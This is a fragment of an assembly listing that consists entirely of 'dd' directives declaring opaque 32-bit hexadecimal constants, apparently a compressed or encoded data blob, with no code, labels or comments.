dd 7F142226h, 0A0D6761h, 1E08F666h, 0AC3F4F5h, 1AC310EAh
dd 0D0B7241h, 677460Ah, 121EA24h, 0EC87F05Dh, 317D83F4h
dd 0B3B07202h, 7676C00Ch, 26AA64A5h, 76E01CF8h, 3BA8A08Dh
dd 0FFC0A55h, 9CBD7882h, 38AA1BB0h, 8BA0EE5h, 700AB90Eh
dd 10BD9CFCh, 0FFE0036h, 0FA754947h, 772271B9h, 1BB016Ah
dd 82F10EE1h, 276DBEBh, 0F4868E00h, 51074937h, 1D44DB65h
dd 268A72FFh, 1E90785h, 0B8105905h, 8009E5D9h, 0F5F05F13h
dd 18C7F20Ah, 2261D346h, 0F900C0DBh, 623E05BDh, 1E4825Ch
dd 4CE46BAh, 800CEA54h, 0CF02CD3Fh, 1D78371Bh, 83606D5Bh
dd 0C32C5C2Eh, 0E2F18030h, 70CB8CF6h, 82670134h, 765B4E39h
dd 516A830Fh, 0E3D1043Dh, 0E46B33Bh, 2E097556h, 480E11ACh
dd 65E4EC05h, 64000690h, 8E05C584h, 38072896h, 85534781h
dd 2940C204h, 8205718Ch, 0A20EDBE7h, 2B0CFFB3h, 22047781h
dd 0C134011Dh, 7533F984h, 3FBC9020h, 670A7677h, 330230EFh
dd 8C89EC41h, 0FFCC9F7Fh, 45CF4090h, 5060E9EAh, 5200C462h
dd 11254D8Ch, 84B1AA82h, 845AABCDh, 0A6561308h, 825E0AE7h
dd 0A88112EEh, 8AD04408h, 13A2B9FAh, 28972305h, 0CC1E8143h
dd 5CF26B13h, 5E212104h, 6D8AC8C4h, 45972550h, 211C08CCh
dd 0C4560046h, 6143220Dh, 8203108Ch, 8D67FDFAh, 1039BFDAh
dd 0C007EA12h, 0B0BEBD0Bh, 130CC585h, 7605E281h, 5A398C52h
dd 4D8A11C4h, 42891D88h, 6DD8052h, 9011EEh, 0CADC126Eh
dd 0DF4DBC67h, 10140B76h, 83E71A86h, 0C9C898CCh, 8D4331E6h
dd 0FA1B0C02h, 820D33EAh, 148CC43Ch, 9F167C2Dh, 0C45385E2h
dd 22CB6018h, 81340011h, 868A0BF8h, 58CC0FD6h, 41AA0EFAh
dd 801E612Ah, 43A86139h, 88B037h, 1ECB3C68h, 8BC54E0h
dd 0C9A43600h, 0E7B9485Bh, 5A8D0C64h, 7FBCF95Ch, 0D9C97260h
dd 281BBFA1h, 185F6927h, 0B4E9C067h, 0C03358Ch, 66F8DB82h
dd 0F760D79Ah, 0C63D427h, 38A104Ch, 0E3608B35h, 0F26C811Ch
dd 0C38C3339h, 1EA07C10h, 0A60EA3Ah, 0BF158E2Bh, 37FC03EEh
dd 8A7D4BB7h, 9BC0660Fh, 674F0033h, 0F23A0B9h, 5203EA84h
dd 59D18C01h, 8CBC74Ah, 0D6F74900h, 8D3398CBh, 3826906Bh
dd 0A1709015h, 1664A0E8h, 69DB00C0h, 0A2357B8Dh, 0DE0E4B8Ah
dd 9E4D1076h, 494C8F80h, 66038444h, 18B310DCh, 0D6A4EF18h
dd 944B10h, 0E7F99160h, 5DD39B2Eh, 98953Bh, 2BF01EDEh
dd 70C7C26h, 8933F248h, 684B062h, 5300FA1Fh, 0D057B4EFh
dd 0B0966E54h, 59C43809h, 1B709F30h, 79C7CF82h, 4C03554Bh
dd 6280060h, 0C75225F8h, 9430BD4Dh, 0E87BB883h, 3A8C7DD6h
dd 3A39F15Bh, 0E714E283h, 0D1047731h, 83B851C4h, 6FFB7A00h
dd 23076FAh, 5B46214Eh, 70DE7Ch, 0D3E8E984h, 61C189FBh
dd 7069C808h, 3FDF7881h, 0C1D36FABh, 0D021B088h, 59A55Dh
dd 0F07948FDh, 8193BE1Bh, 0CE3021C0h, 3D2E25h, 0B01E7131h
dd 75B2E4C2h, 6F36D218h, 0EEA179h, 0CD581565h, 0BE72FF3Fh
dd 42EFB100h, 0C640E779h, 68C80095h, 0CEF5D722h, 630705A6h
dd 6F8BF4BDh, 4A58F091h, 0F80B9453h, 0CF59681Bh, 0AA8172E1h
dd 0F899C78Eh, 1903EF45h, 0B2406AB1h, 33B1AF7Bh, 0CEC114F4h
dd 12CD843h, 0F2BE63E9h, 83FD9834h, 1C0EC118h, 0D030A582h
dd 885AD4F0h, 1B74C60Bh, 50ADD03Fh, 0F8155798h, 0AF47C90h
dd 0ACFAD30Bh, 81E0C041h, 9AF2C317h, 0D65C1944h, 1298C800h
dd 0CE5B4701h, 4871C6Bh, 0BD82BE1Dh, 0F4144D71h, 98E697E1h
dd 3CB0B3A0h, 1ED4148h, 8FF0FCh, 1A44D71Ch, 10970469h
dd 8D469D61h, 0D1D8A469h, 0A082F0h, 6B7A7714h, 6434EFEh
dd 8A83B50h, 7485D81Bh, 18F818B0h, 1CCAD94Bh, 0C4EF6703h
dd 5A12469h, 0C03CF460h, 0FA822C7h, 68841C42h, 0F80441C8h
dd 51BB611Dh, 316E0810h, 8B784824h, 24CB7A01h, 47420B58h
dd 7C7D5C11h, 0F09C0A55h, 0D01455E2h, 103047C0h, 0BE024905h
dd 0D8BC1454h, 74698CA7h, 7C244087h, 80889C49h, 0C0B8E91Bh
dd 0D66CA480h, 6F010893h, 6254F0DDh, 0F8906082h, 8E016E4Dh
dd 89808C94h, 0CD83F3ABh, 0DA0CC4C0h, 0A144685Fh, 2B9D00C6h
dd 0A42F8AF5h, 7748802Ah, 1DFE01F8h, 0D9A0347Ch, 203C71AAh
dd 2D01CE28h, 0C3F6A45Dh, 0CCF1F8BDh, 71B7998Ah, 54D1180h
dd 0BDD84164h, 40F69C32h, 80DB686Ch, 6C5435E2h, 7700249Ch
dd 73696FE0h, 2EF816h, 12A0D164h, 678043FCh, 1449E4EFh
dd 86509662h, 9344404h, 0B7DB61CAh, 5BFC90A1h, 5790431Bh
dd 514B890Eh, 94758AD0h, 8CAD7200h, 980F8ED8h, 0C21A0180h
dd 0B40CF103h, 0CF508FD3h, 718BC11Eh, 0E6010DBh, 21BB1CF0h
dd 0A6258040h, 0BE8790B2h, 0F2958400h, 4A1E7A60h, 0F0E70156h
dd 588805BCh, 6C9DD091h, 9CE97300h, 93601D37h, 517478AFh
dd 0CCF0BC80h, 0DB34002Fh, 661014B5h, 4A07167Ah, 0B0A9065Eh
dd 0AC2B9971h, 1D89DCh, 572D9FBBh, 0E72D5BCh, 15820F01h
dd 0B68BBD5Fh, 941ED833h, 862300E2h, 0C6144D1h, 8809349h
dd 15C4A404h, 7B7C18C2h, 18D16034h, 8E873E9Ch, 735DD012h
dd 78352405h, 82BED040h, 0D901C8h, 1D429392h, 9FD58C6Ah
dd 87783148h, 81A649C4h, 4CED4C58h, 0C090CC22h, 1D9F8344h
dd 80B97A14h, 39683747h, 0CD048DAEh, 1C8519D6h, 8035F8C1h
dd 0F867980h, 503FB651h, 0FCE0AB24h, 7F691038h, 30C6BC03h
dd 0B952BD2Eh, 94BE13E0h, 20C8F820h, 0F57940h, 0D83E0E32h
dd 3126EE1Ch, 0A657CD3Fh, 0F0870044h, 0FC02F5DDh, 0B3FC485Fh
dd 0B4374857h, 91713518h, 7049A62h, 7C316B6Ch, 4ACCDA81h
dd 26AB5FE8h, 40045346h, 0D4040C4Ch, 55C0ACA0h, 2C904892h
dd 0EF805AE2h, 0E867162Dh, 24B804B2h, 191C018Ah, 1110CEA4h
dd 6BF08481h, 0F9058670h
dd 1D4416DAh, 4FB9A980h, 9B943072h, 8BBE8DE9h, 0B00ACECh
dd 0D7FE5D05h, 1A8D0EFh, 4A719710h, 0E91669ECh, 611CF7A3h
dd 0FE83B9C0h, 88C1C50Bh, 4749C7h, 0C6E9662Dh, 80F05714h
dd 79904454h, 0C01B1502h, 494CB5D8h, 12106B10h, 0F9008803h
dd 25AF34A2h, 75D7613Dh, 292D0762h, 39711C8Ch, 4108B88Eh
dd 203CE024h, 0AB0E0651h, 9931CA82h, 0B6800C91h, 86C9D6F1h
dd 0E31E082h, 7D3EAEBBh, 60D81301h, 0A806612h, 0E86CD0EDh
dd 85055F97h, 90434EFAh, 1DDCB82h, 5FAB2929h, 84CF6046h
dd 4D077669h, 41F4648Ch, 0DB140284h, 0D0901B20h, 18E49A81h
dd 619FFFD3h, 41C04268h, 0FD021B3Fh, 547546h, 9A86E0AAh
dd 0F46964F0h, 8558BF60h, 24554648h, 0FD87206h, 41380E76h
dd 0E818FF2Bh, 35C8648Ch, 6A1E01EFh, 0BF5F2CE3h, 1023AFh
dd 0F91437CAh, 2402E6h, 0BE09AB95h, 0FA4C607Ah, 0C855A606h
dd 4C485090h, 8735784Ah, 0E0A480C9h, 55805A85h, 0F4B854E8h
dd 894C6037h, 0AD9C5964h, 4F8B0C1h, 6820B0CDh, 0F0F71A2Bh
dd 3C60A1C4h, 0BD805461h, 0AC723184h, 15F9450h, 0BC4CC282h
dd 0B1B499BDh, 62681C10h, 5DCF00FCh, 5C395F1Bh, 0ACB70083h
dd 0A849B4F5h, 4D0BC54Fh, 674DE43h, 440EF91h, 68298EDDh
dd 6D9405Ah, 75A5FCE4h, 2FD5008Dh, 0A86E9C30h, 3AB09514h
dd 82104A02h, 0E4FCD37Ch, 0A420A37Ch, 0DF238840h, 7754362Bh
dd 5F005394h, 143EDA81h, 0A7A3942h, 93DC7471h, 0BC1D0020h
dd 9569BEE5h, 0EC268824h, 6825701h, 0E820BD8Ch, 24E8F02Bh
dd 847C437Ch, 0B6531D0h, 604C82BDh, 4020B9Eh, 6098480h
dd 261907D8h, 672C5A46h, 4DA051Ch, 186EC18h, 0E35C3CF8h
dd 0BC516400h, 0C19B060h, 0B822A480h, 77592154h, 0D4300516h
dd 80A7F861h, 0D9C08494h, 0C4E02CECh, 85B500AEh, 7C1B1471h
dd 0B62C6D41h, 2408E40Eh, 81513C8h, 0A89E446Ch, 0E06B32FDh
dd 3C50661Fh, 4187E343h, 0D012B2BEh, 0C5F435F3h, 3DA04A03h
dd 87F0EFA7h, 0C90206B7h, 7E30693Bh, 0C3DD5610h, 0C93A602h
dd 9AF22228h, 0E8A04090h, 4F5280A0h, 10402B48h, 0F0014D6Ch
dd 0CF405C2h, 3013C3D0h, 342266A4h, 1D312074h, 0A307D977h
dd 0BDC63A6Dh, 0F9D3A31Eh, 7CC13B90h, 3C48E031h, 21BF12CFh
dd 844D4922h, 6534F078h, 0E9873100h, 2C00C352h, 409401D9h
dd 0EA1CF458h, 41B9C2F6h, 0F10288A0h, 12186243h, 0EC0C86F4h
dd 169A0029h, 0D609BC87h, 489817ACh, 71141489h, 0B5288267h
dd 5A681B18h, 3D3E5CA4h, 0C1C33A1Dh, 39C80841h, 723C2577h
dd 0ED580010h, 417D6FFDh, 0C761710h, 722000DDh, 55FCBC2Bh
dd 0B8D00933h, 2C01ECE4h, 23067697h, 24490820h, 813D12AAh
dd 19274BCh, 0E0DB7FFCh, 62CC8C0h, 0D082A2D7h, 0B6396094h
dd 0CC4C7825h, 0F0F581E0h, 10066154h, 92FBD318h, 60A4EFA9h
dd 8E9929D0h, 4A00E7FFh, 3155C954h, 1D6ABB22h, 40A16397h
dd 0F8086C73h, 0F1D2595Dh, 0B0C8AC20h, 0C0908179h, 10A8528Dh
dd 61CFD2A4h, 7DA660EBh, 45B263Ch, 0AD2C6740h, 0C918D1F7h
dd 42A016D6h, 512C1C8Dh, 6073350Dh, 0DD030833h, 0DCA705B4h
dd 78C81CD0h, 45F1626h, 0B5E8908h, 9092F3D3h, 0FDE28833h
dd 40CD864h, 3145FCD0h, 119F42F6h, 9C58D8CAh, 553E3CC0h
dd 68C4462Eh, 360B7B9Dh, 0F860D810h, 17CE3F00h, 0A2D35044h
dd 2FA00D2h, 46A736E1h, 70006DFCh, 16E4D52Dh, 61FEBE5Dh
dd 18F67114h, 64C40C3h, 62402DE0h, 0B74F0023h, 822508C1h
dd 0FC0005FEh, 0B00E3879h, 682D9Eh, 2CCC2395h, 94AA690Dh
dd 1C70FC03h, 0E0855F0Eh, 4CEE334h, 44CFBD5h, 1D6C9038h
dd 201BB69h, 14F2DB4Fh, 1880CBF8h, 0B0C1BC19h, 0FA04870Eh
dd 93964A67h, 0F260C8h, 64B8BA02h, 3C1DD843h, 0B264500h
dd 8051C4CAh, 450908Dh, 0FEB31024h, 0D34883DEh, 0A0501582h
dd 1E0880Ch, 0F656D875h, 4F311427h, 92E10410h, 0BB940040h
dd 5FCA0020h, 0D486F83Bh, 60C373Ch, 19D8F39Ah, 9B1F0C4Fh
dd 0FB405073h, 1772CC00h, 3FD64979h, 7859C03Ch, 70CB30D4h
dd 7BC5F60Eh, 0A009803Dh, 60C6B7Ch, 569C324Fh, 9D763816h
dd 0C83E07FEh, 82BF1F1Dh, 1010938Dh, 98FB300Dh, 0EAC4EE88h
dd 0BC2C011Bh, 26CA5C3Fh, 831FD9CBh, 0E186F4A0h, 62B87C78h
dd 8048C8F0h, 573CB100h, 177CA105h, 92E0088Dh, 0F8840399h
dd 8327B10Eh, 3C89589Ch, 380A605Bh, 0A11A6990h, 0B1A03F02h
dd 8F964240h, 2CBB2330h, 0F68802C9h, 4231F051h, 5EFCB4A1h
dd 83C88A1Ch, 614208DAh, 0B4C0A88Eh, 0A83F9C50h, 183AFEA8h
dd 919BE483h, 8618CEC6h, 1B787FBCh, 8C8E0C92h, 312187E4h
dd 28857218h, 2AA0DAE9h, 0C18BECEh, 68E6E4A6h, 0A2038B80h
dd 9C204234h, 19711B5Ah, 90C3B94Bh, 833F0807h, 9FCE5D5Bh
dd 2C0BA800h, 14D5691Bh, 844D2609h, 480D4422h, 412758FEh
dd 89BC1D21h, 5708B1B1h, 7C41BAA6h, 0D8598165h, 5D05A852h
dd 0A45024ABh, 0E208C65Ch, 5461F099h, 0E4790F5h, 7B25DBA6h
dd 7F80C38Eh, 91899D35h, 88093A01h, 0B867A1Eh, 0C90A9181h
dd 8006CC21h, 7B0D8211h, 33175A7Dh, 4D61ADBEh, 4CBC1011h
dd 5D81F53Fh, 9A20BD2Fh, 4ED18586h, 28680B8Fh, 0C3094715h
dd 113EE71Ch, 3B9C58h, 9C679A7h, 74507EEFh, 1CE8A11Ah
dd 0FB2A9111h, 5A2DC9D9h, 0F10C7D40h, 391D8C72h, 4746004Eh
dd 0F7921E83h, 0F6305E08h, 0F958914Dh, 48589026h, 198A1CB1h
dd 1718D63Ch, 1659A1BFh, 64E3484Bh, 35CC2283h, 0B2343142h
dd 398017B8h, 5C452E83h, 92FC0C7Ch, 0C1D10158h, 7720E800h
dd 0F67B1D82h, 48E15161h, 46BCB6D2h, 0CD21C341h, 42781D6Fh
dd 20B418CEh, 6D67BE16h, 398C0491h, 2299321Fh, 54848061h
dd 25B5215Fh, 0B12F8C00h, 1A877218h, 0FF9A71h, 992D64Dh
dd 0DC2B8016h, 83612109h, 922C8F32h, 0E03B7007h, 160A5700h
dd 817A60BDh, 0A61A5ACEh, 20A6D7F8h, 0CBCB352h, 30418A40h
dd 609C9245h, 0A00308A8h, 0F7F8018Dh, 10411841h, 3880115Ch
dd 710C40EAh, 78002FE0h, 0AB3FC10h, 0FD802ADh, 767C7345h
dd 3922C3E2h, 23EEE0E0h, 0E63B8400h, 0D0B6463Eh, 4E0C03D6h
dd 384CE1D3h, 0A0DCA2E0h, 44DA111Eh, 41BD7300h, 0F3FD162h
dd 24CB4FD9h, 484049ECh, 0D339B410h, 45E1C909h, 0DCBBF980h
dd 0C4000592h, 0B37F2149h, 16FEC37Ch, 34BD0FBh, 0E73B43B9h
dd 25B47380h, 650CC103h, 0E0462CC7h, 0B1C6BBFAh, 55042390h
dd 4AF8A0FAh, 245C2BD2h, 0D8F43Dh, 71C61C9Dh, 7E007721h
dd 2EE1C53Ch, 0D54E1Eh, 0F5495E24h, 36B34F3Dh, 62DA9F0Ch
dd 3740D3h, 930480FCh, 2849E0CAh, 6AB36C07h, 0D9E0F3D6h
dd 75892E73h, 3390017Fh, 9B35C05Bh, 5E2D000Ch, 99F7400Ah
dd 46CDCA00h, 68B3730Eh, 32E500DAh, 302067D0h, 3B030D5Eh
dd 26C05F22h, 1561F8E0h, 3F3EF83Ah, 9F8280E9h, 3446CE1Fh
dd 22403861h, 78A0EB94h, 420022C7h, 0DDA2F634h, 0DBCAA0h
dd 0B3720E49h, 0FBF3DE63h, 0D54BE000h, 0F40F842Dh, 89460723h
dd 0C0DFC1FAh, 105D2AD3h, 7473B00h, 43C611ADh, 6FB60021h
dd 0C88D3095h, 8CE232C1h, 0F6355400h, 8E8A493Fh, 0D140C19Fh
dd 0D442Ch, 8AD01h, 0B61049D9h, 0E7C2717Dh, 7BF52D3Ch
dd 0E9FA48E8h, 0B9003373h, 35E0C139h, 71782CC4h, 0AB0003Bh
dd 77D90794h, 8CB3B810h
dd 0F3355057h, 0E1E04900h, 0A2E93842h, 169D0E0Fh, 0B82174CCh
dd 0F2C58FB2h, 0A0CA8003h, 0E4FA3B45h, 39B5009Ch, 0E0770CC2h
dd 49005D26h, 9606BF8Eh, 4CDC1Ah, 80766A34h, 0DA31E81Dh
dd 30ED1000h, 9AF60B4Bh, 26B60067h, 0D435D996h, 0E70452Bh
dd 0E91FA400h, 735FC9CAh, 8DB30077h, 0CF38F4C6h, 3100EF10h
dd 3FE90C84h, 3935B859h, 0F836D3h, 3B3C5C29h, 59103B6h
dd 0E419700h, 1D6FB478h, 44ACB08Eh, 3DF02275h, 888A4A27h
dd 423880Ch, 0D700F67Fh, 0FEDC6353h, 133655Bh, 0D28F57FBh
dd 4A4127F5h, 0C77CB034h, 60AB01E2h, 8D48FC3Eh, 7407D0DCh
dd 0BB256F08h, 3A585040h, 0E0E203FFh, 880C576Ch, 0FE014430h
dd 5CB38124h, 0C078894Bh, 0C5211430h, 3D00FE4Ch, 811FBF7Dh
dd 66ABAD19h, 61304E70h, 0FE7BF400h, 0E82D4D13h, 493E07A3h
dd 0F058DC52h, 0CF226003h, 81510760h, 718AF8Ch, 8FA61DC8h
dd 206AC5E3h, 22FE4648h, 11A38123h, 4EC70017h, 0AFE67AFEh
dd 0B6F81D5Ah, 4C482580h, 0F5881BE8h, 84BE0020h, 49791436h
dd 2D0EAB10h, 692DB3Fh, 510A87h, 0EE3A849Dh, 0BE321DC3h
dd 1CACD47Ah, 0BCEF2F40h, 0E4A48014h, 496688B8h, 95CB0F1Eh
dd 7046ACA8h, 28FE5001h, 5C5D5381h, 5800C964h, 63F9AAFEh
dd 2096F81Eh, 9200297Ch, 6B49F618h, 0C121FCD4h, 0B54ECED0h
dd 27208123h, 197ECB22h, 8C6EE848h, 26FE4205h, 3C224381h
dd 4ACB2015h, 0F01C45FEh, 2218ABA0h, 0DF1D5860h, 0C79CC021h
dd 0C1F346EAh, 0EF292D00h, 0E48B0CCEh, 91774A1Bh, 50F38C28h
dd 3C40B188h, 3892687Fh, 8E940700h, 6B84A0EEh, 87A84A0Ch
dd 5C215CA8h, 0F8E6C00h, 9D5A0E1h, 4E19244Dh, 0EE6F8054h
dd 0F5F892DAh, 0D03D7B12h, 646DC0A1h, 0DAD60900h, 0CD041F48h
dd 22FCA50Ah, 8102D41Dh, 48135FE4h, 6766CC2Ch, 8A711820h
dd 0B9053E30h, 40283F99h, 6CE833E4h, 290E853Dh, 0BD9A3EFCh
dd 3F95B7C1h, 4F2BA81Fh, 0A2809B60h, 9E43B038h, 31729C18h
dd 184F8768h, 293D3FDBh, 4B012651h, 2C23A843h, 0C2AC01Bh
dd 7E212B6Ch, 974B3E01h, 17612201h, 0DE258850h, 0F6AB0F0Dh
dd 0B9E0EDA6h, 0C7EFB5BEh, 0D9C01A00h, 9CF079E2h, 4BA8011Dh
dd 0F4CBA02Ch, 70442B3Ah, 0C4106303h, 93013923h, 8CA0EF8Eh
dd 5D890318h, 0E0BF8EECh, 0F6470FF7h, 8120D21Eh, 2318D392h
dd 118460D0h, 22122495h, 0C4E427F3h, 8234C9A0h, 0C4AC7299h
dd 84500924h, 1098596Ah, 0F4674h, 52C59C37h, 73C04874h
dd 25F37CA7h, 60486165h, 0CD00FFE5h, 9E9FBE28h, 0FC9AB0h
dd 0EEA8E673h, 0BB949C1Ah, 90DE6331h, 0C3E0812Fh, 0CDCA075h
dd 92A00130h, 84B63FEDh, 80C020B0h, 18782640h, 381A7CACh
dd 0D8DE0BD5h, 0AB813A10h, 209D7BBh, 8EF0333Eh, 9453A0D4h
dd 6E5A80B8h, 889F8Eh, 9C89BFF2h, 0E1A556CBh, 7F8750Fh
dd 0AD50C7ABh, 1B882B66h, 0C132BBDEh, 188090E4h, 4E6144ADh
dd 76085720h, 11451980h, 9790E6FEh, 0AE6C9E00h, 1BA79C77h
dd 0AB920D2Ch, 2048010Ch, 63402798h, 0A2A512BDh, 1FEC088Ch
dd 85724003h, 20B16078h, 3B2F8CA1h, 0A17C18C8h, 180BD1E8h
dd 40EF24C2h, 0C64160A8h, 9A7884BDh, 1678B49Ah, 4D13F69h
dd 0EF604E0Ch, 0F82391DAh, 63118Dh, 66DAD70Ah, 16CC481h
dd 0B86987A2h, 241C5791h, 126D158h, 6A00421Ah, 93B19651h
dd 98B80008h, 6C3CBE72h, 180AA509h, 902248B5h, 65CA4105h
dd 0A00974A2h, 0C8A254BBh, 8D84832Fh, 0DA38C871h, 70780C40h
dd 0BB4D0F9Bh, 7186A7D9h, 4CA81855h, 17257881h, 0F6B468B1h
dd 40DE006Fh, 0AC328A42h, 5706413Ch, 0E02E4A6h, 9D460C38h
dd 6E687237h, 68D19899h, 85009418h, 0D40D2E1Fh, 17EE20h
dd 0BA02CFD7h, 1692E7F9h, 7B35D000h, 0B1363E1Bh, 0D64F2686h
dd 4B21C06Ch, 0DB21A846h, 2A9125h, 74B397Bh, 16B57FAEh
dd 4798CB26h, 59D202Ch, 0C8A8143Ah, 528F2F09h, 0F09E4401h
dd 0A9260354h, 59E196F6h, 149C442Fh, 0B3290301h, 8081ED6Ch
dd 28003CE1h, 0C74CC22h, 26F4684h, 8125FE41h, 1012314Bh
dd 7BFE49CAh, 0E12A00DEh, 21B5A6BBh, 428A02F6h, 0B17C00FCh
dd 9848FFAAh, 2D946F4h, 0A8414B28h, 102D3133h, 4B4080h
dd 709A212Fh, 8689C5EBh, 0C0C13078h, 6CD09B5Ch, 0D776C4h
dd 0AFBB92A8h, 8954DBB3h, 4C031179h, 1BEAE56Bh, 8CE07705h
dd 21FE4502h, 0C55CAB81h, 4DC681F0h, 590970FEh, 571C42C4h
dd 0FEDAD830h, 22C546F8h, 0E00F0279h, 0B60EE2DAh, 0D9002BC3h
dd 6736FDA4h, 576E5168h, 4272E895h, 823F063Dh, 9E8962Eh
dd 0F3D6F4FEh, 0BE9A1C80h, 0AD0EBFBDh, 0AA3268A1h, 465EE0E3h
dd 0F183F11h, 0C4048548h, 108112EEh, 670C5999h, 5930B986h
dd 0BB5181Ch, 7C6F9C84h, 18DAF411h, 424B0825h, 55C43BA8h
dd 4B3D7F40h, 5E00BBD6h, 0E7339474h, 13A092DBh, 421F6248h
dd 9A256628h, 0F8DC8460h, 0FDA7EA02h, 6AB062EFh, 58D0C094h
dd 52F58006h, 0BAA69807h, 7D73BDD9h, 506FC05Ah, 2A143085h
dd 7B8742F8h, 14D18891h, 902CC018h, 0E0202EC1h, 1F40F106h
dd 9D13A9Fh, 91EF4A8h, 8D0F4880h, 22807843h, 50512882h
dd 72E04690h, 0A8234B7Ch, 71443B0Bh, 148E3F61h, 48E5AEF6h
dd 78A7C089h, 0B92074D8h, 0BAA50042h, 29402847h, 9F50CE83h
dd 224A45F4h, 0C9EC8427h, 1EA701F0h, 2B943CB0h, 0A0A08016h
dd 0A39110D5h, 0E022588Ch, 40287486h, 26A4803Bh, 60B4342Bh
dd 7610C2C2h, 138C8C70h, 8A1A9649h, 5C794486h, 6A4D8998h
dd 94A75080h, 5C98D326h, 0A1DE4B20h, 0D3184AB8h, 0F895DA08h
dd 0DB0E70EDh, 235DA02h, 64BB163Fh, 0EC5848E0h, 30C60387h
dd 7DB735F5h, 80635F00h, 0AA28A194h, 39604861h, 0D9C80071h
dd 0B36B3CA0h, 3F065745h, 771947F2h, 3B790951h, 0A0681B8Eh
dd 44F68929h, 14D4BE2Eh, 0D541FC2Ch, 20D23F06h, 64AC4D37h
dd 0D7948C50h, 3C34954Ah, 82A158C0h, 0F85D641Bh, 0DAED604Ch
dd 0FDF82393h, 0C006711h, 0FBDFDAD5h, 206404DDh, 92411358h
dd 8B2808D3h, 93907290h, 581810FCh, 0D9FF021Eh, 76F42249h
dd 4F096E8h, 0A2D620E0h, 2F3900F4h, 6909D359h, 95E20FF9h
dd 61CCD226h, 4490B0D1h, 0FC556820h, 3BEC29ABh, 814911E4h
dd 0F896DAD2h, 4FB433F6h, 9A41FC0Dh, 0B6269EF4h, 20BC3424h
dd 760A0CA4h, 0A02FAC50h, 82C032E0h, 2C2CFF9Ch, 4775147Ah
dd 3224089Dh, 0CC4F8488h, 414FC9Ah, 4E33EC01h, 0AE9E7490h
dd 48BB10DDh, 21340320h, 0F7F9BE4h, 28359920h, 5CF6B263h
dd 0EE1080BCh, 6C277055h, 82C035E2h, 0AB1945F8h, 35D68040h
dd 0E4B6420Ah, 1698DC39h, 4BB247E0h, 7D003A36h, 21CD008Ch
dd 9B227FAh, 464EFCA8h, 0D80FC802h, 71BC5986h, 28E1829h
dd 44BE9738h, 0D8AF7108h, 9C92D7C0h, 873DAB74h, 570972A3h
dd 20336DDh, 216BCE8h, 0FC448272h, 0FC4D2C0Fh, 0D02857E2h
dd 0D3FC917Ch, 58E660B4h, 8154941Fh, 8128212Ah, 13ECCCE5h
dd 7A64200h, 0A1A5A9B2h, 40209F61h, 9FDD87C0h, 3FCFE909h
dd 0F58402E0h, 0EBB32006h, 0C801232Ah, 589E5016h, 4A6A6942h
dd 1C3857C0h, 8D807DFFh, 4305B412h, 0A200ED67h, 0CDE1DE11h
dd 1692D3CBh, 0A5EF9940h, 4F4030D8h, 0B10BA272h, 98274AA6h
dd 3F59F634h, 9E80A5BEh, 0C4C2A09Ch, 0CC7BA81Dh, 29E01A52h
dd 5900C007h, 0C25DDF0Bh
dd 0DE52008Dh, 53A45149h, 0BD388FC0h, 168CC8A5h, 0C43E6517h
dd 80268C76h, 8D817449h, 86C9830Ah, 29F2E872h, 2F5F033h
dd 0A597067Fh, 0D001BAE4h, 1793E614h, 15823FCh, 0F897DAD1h
dd 9C7C33DDh, 0BEDAD9C0h, 4C4D5D45h, 7010402Ah, 0FF2D0157h
dd 199B1F4Bh, 8724FC2Ch, 6B00DC78h, 0FC58447Ch, 80094D07h
dd 20498572h, 0F3471C20h, 90E27300h, 0CB94BF6h, 0F3E9CA5h
dd 116061D8h, 5E0A2F29h, 4FC00ABh, 6E3C90ADh, 421C019Ah
dd 185089C0h, 0D3DCB238h, 0F30B173Fh, 5C59069Ch, 0A6065811h
dd 610A96FCh, 168140E0h, 70C0882Ch, 0C48EBFBEh, 16EBDE4h
dd 0C1FD8D20h, 64A2C823h, 7B530h, 0EF9A6D02h, 0F5842EEAh
dd 4A0BCCE5h, 91002C90h, 0EA8E62Fh, 65316834h, 0C0B7B12Eh
dd 0ACF7B38Ah, 42095200h, 0B9FF3A06h, 897401C9h, 16EAC825h
dd 0D039BCh, 280BE35Ch, 0B9789EE4h, 0D09B4098h, 4E2D3E7Ch
dd 91C49730h, 33AC8112h, 58C86776h, 0D6083070h, 14D7879h
dd 0DE0A10B6h, 5813483Ah, 21D00820h, 0CEEB283Eh, 1454B1D0h
dd 0CD22D04Ch, 8943A0C0h, 0ECB6F635h, 0E150C056h, 0A5D9A883h
dd 592BF730h, 50931F2Fh, 0F61C3Dh, 43F7BE53h, 1B148B6h
dd 0BD17680Ch, 27763104h, 5C835095h, 393E3B40h, 3DF903C8h
dd 0C5315870h, 12B268B3h, 74DC9B30h, 2C7A1265h, 0AED004A8h
dd 0E0900E18h, 9B208D3Bh, 479D24Dh, 71E4648h, 0B47428C6h
dd 8238F4D2h, 542D488h, 2C9CC808h, 0E3D80200h, 0E9826067h
dd 0C07B489Dh, 0D269C09h, 31186822h, 1F6BD00h, 0CBA012CEh
dd 43085ACh, 954D0F0h, 0D5E8044Fh, 454B2460h, 25D3A812h
dd 7C0128CAh, 7D034B3Ch, 5BE7D8F8h, 64049C01h, 0A5284BEh
dd 0D09DA03Ch, 442E9309h, 802C6323h, 0A6CEBB00h, 32E0545h
dd 0CA4F72D7h, 7DBE4A7h, 0A0F06805h, 0B0BC3CA3h, 4B6C304Bh
dd 3A01A5C0h, 8132D242h, 0E8EA3F9Ch, 2C136E40h, 11A434A6h
dd 6F571E12h, 85E23900h, 79DFBCh, 1B892797h, 0D6ACC05Dh
dd 289C3E50h, 0BCD12D41h, 0C3CCEAC6h, 2478238h, 38CEF216h
dd 816054B4h, 0BD68EB84h, 0C5892821h, 919041B9h, 0D0488B18h
dd 8C546B2Eh, 0D28E9860h, 0C064A021h, 0D78E7068h, 2EA4140Ah
dd 170BFC03h, 1034D090h, 2559D8B6h, 91909748h, 68D98457h
dd 147F3A80h, 0EC810C12h, 0FAC86D0Fh, 0FC0ECC2Ah, 0D04FF889h
dd 0D0BC0BE4h, 8E84A802h, 45D8AB71h, 80B1EE54h, 0FC47384Bh
dd 0CC0BBD4Eh, 0A708DC71h, 24089F40h, 9F658020h, 74CC3ACEh
dd 0F0519368h, 0A11E3039h, 5C5F429Bh, 0DE009511h, 816A82CBh
dd 404E5E37h, 0C7EA3440h, 5E2D90Ah, 2242D3FCh, 0CB6CC120h
dd 9178D4D4h, 4FD23012h, 4083140Eh, 0FB9417F7h, 89649E2Eh
dd 2C10E040h, 251E6941h, 84D24FD3h, 0B13B6023h, 28744D23h
dd 12613042h, 9164F6D9h, 1B24BC01h, 1D746A8Ch, 3BC8E441h
dd 0FC324100h, 1749A7E5h, 871891CCh, 0D0C250B0h, 0D76CE0FAh
